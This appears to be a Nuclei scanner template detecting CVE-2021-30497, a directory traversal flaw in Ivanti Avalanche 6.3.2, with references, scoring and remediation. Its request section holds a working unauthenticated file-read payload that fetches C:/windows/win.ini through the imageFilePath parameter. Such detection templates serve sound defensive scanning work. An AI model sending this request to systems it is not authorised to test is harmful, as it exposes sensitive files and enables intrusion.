id: CVE-2021-30497

info:
  name: Ivanti Avalanche 6.3.2 - Local File Inclusion
  author: gy741
  severity: high
  description: Ivanti Avalanche 6.3.2 is vulnerable to local file inclusion because it allows remote unauthenticated user to access files that reside outside the 'image' folder.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Ivanti to fix the LFI vulnerability in Avalanche 6.3.2.
  reference:
    - https://ssd-disclosure.com/ssd-advisory-ivanti-avalanche-directory-traversal/
    - https://forums.ivanti.com/s/article/Security-Alert-CVE-2021-30497-Directory-Traversal-Vulnerability?language=en_US
    - https://help.ivanti.com/wl/help/en_us/aod/5.4/Avalanche/Console/Launching_the_Avalanche.htm
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30497
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-30497
    cwe-id: CWE-22
    epss-score: 0.92672
    epss-percentile: 0.99758
    cpe: cpe:2.3:a:ivanti:avalanche:6.3.2:*:*:*:*:windows:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: avalanche
    framework: windows
  tags: cve2021,cve,avalanche,traversal,lfi,ivanti,windows,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/AvalancheWeb/image?imageFilePath=C:/windows/win.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "for 16-bit app support"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f45bd0c91e63fb7db7dd505fce426024e2cccb09dd85cbcc91072aca19226c0f022100e0a861267b32b9df375a31913edf93c9ae7660fbe4cb95a253aacdd4d949ac59:922c64590222798bb761d5b6d8e72950